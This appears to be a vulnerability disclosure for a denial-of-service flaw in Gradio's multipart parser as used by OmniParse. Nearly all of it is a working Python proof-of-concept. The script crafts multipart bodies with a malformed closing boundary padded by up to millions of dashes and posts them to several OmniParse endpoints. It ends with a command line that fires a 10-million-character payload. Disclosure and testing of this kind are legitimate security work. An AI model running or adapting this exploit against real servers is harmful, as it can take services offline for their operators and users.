Security Vulnerability: Gradio Multipart Parser DoS Affecting OmniParse

#!/usr/bin/env python3

import requests
import time
import argparse
from datetime import datetime


class GradioDoSTest:
    def __init__(self, base_url, port, endpoint, payload_size=1000):
        self.base_url = base_url.rstrip('/')
        self.port = port
        self.endpoint = endpoint.lstrip('/')
        self.target_url = f"{self.base_url}:{self.port}/{self.endpoint}"
        self.payload_size = payload_size

    def generate_malicious_payload(self, boundary, content):
        body_parts = []
        body_parts.append(f'--{boundary}')
        body_parts.append('Content-Disposition: form-data; name="file"; filename="test.txt"')
        body_parts.append('Content-Type: text/plain')
        body_parts.append('')
        body_parts.append(content)
        malicious_chars = '-' * self.payload_size
        body_parts.append(f'--{boundary}--{malicious_chars}')
        return '\r\n'.join(body_parts)

    def test_endpoint(self):
        result = {
            'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S'),
            'target_url': self.target_url,
            'payload_size': self.payload_size,
            'status': 'UNKNOWN',
            'response_time': None,
            'status_code': None,
            'error': None,
            'vulnerable': False,
        }

        boundary = '-----------------------------84223741816526770551866662314'
        payload = self.generate_malicious_payload(boundary, 'Hello I am test')
        headers = {
            'Content-Type': f'multipart/form-data; boundary={boundary}'
        }

        try:
            start_time = time.time()
            response = requests.post(
                self.target_url,
                data=payload.encode('utf-8'),
                headers=headers,
                timeout=30,
            )
            response_time = time.time() - start_time

            result['response_time'] = round(response_time, 2)
            result['status_code'] = response.status_code

            if response_time > 5:
                result['status'] = 'SLOW_RESPONSE'
                result['vulnerable'] = True
            else:
                result['status'] = 'SUCCESS'

            response_text = response.text[:500]
            if 'multipart' in response_text.lower() or 'consuming' in response_text.lower():
                result['vulnerable'] = True

        except requests.exceptions.Timeout:
            result['status'] = 'TIMEOUT'
            result['error'] = 'Request timeout (30s)'
            result['vulnerable'] = True

        except requests.exceptions.ConnectionError as e:
            result['status'] = 'CONNECTION_ERROR'
            result['error'] = str(e)

        except Exception as e:
            result['status'] = 'ERROR'
            result['error'] = str(e)

        return result

    def run_multiple_tests(self, test_sizes):
        results = []
        for size in test_sizes:
            self.payload_size = size
            results.append(self.test_endpoint())
            if size != test_sizes[-1]:
                time.sleep(3)
        return results

    def print_summary(self, results):
        for i, result in enumerate(results, 1):
            print(f"Test #{i}")
            print(f"Target: {result['target_url']}")
            print(f"Payload size: {result['payload_size']}")
            print(f"Status: {result['status']}")
            print(f"Response time: {result['response_time']}")
            print(f"HTTP status code: {result['status_code']}")
            print(f"Potentially vulnerable: {result['vulnerable']}")
            if result['error']:
                print(f"Error: {result['error']}")

        vulnerable_count = sum(1 for r in results if r['vulnerable'])
        if vulnerable_count > 0:
            print(f"{vulnerable_count}/{len(results)} tests indicate potential vulnerability")
        else:
            print(f"No vulnerability detected in {len(results)} tests")


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('--url', default='http://0.0.0.0')
    parser.add_argument('--port', type=int, default=8000)
    parser.add_argument('--endpoint', default='/parse')
    parser.add_argument('--sizes', type=int, nargs='+', default=[1000])
    parser.add_argument('--test-all', action='store_true')
    args = parser.parse_args()

    all_endpoints = [
        '/parse',
        '/crawl',
        '/search',
        '/audio',
        '/video',
        '/image',
        '/process_image',
    ]

    endpoints = all_endpoints if args.test_all else [args.endpoint]
    all_results = []

    for endpoint in endpoints:
        tester = GradioDoSTest(
            base_url=args.url,
            port=args.port,
            endpoint=endpoint,
            payload_size=args.sizes[0],
        )
        all_results.extend(tester.run_multiple_tests(args.sizes))
        if len(endpoints) > 1 and endpoint != endpoints[-1]:
            time.sleep(5)

    tester.print_summary(all_results)


if __name__ == '__main__':
    main()

python3 testsn.py --url http://0.0.0.0 --port 8000 --endpoint /parse_media/audio --sizes 10000000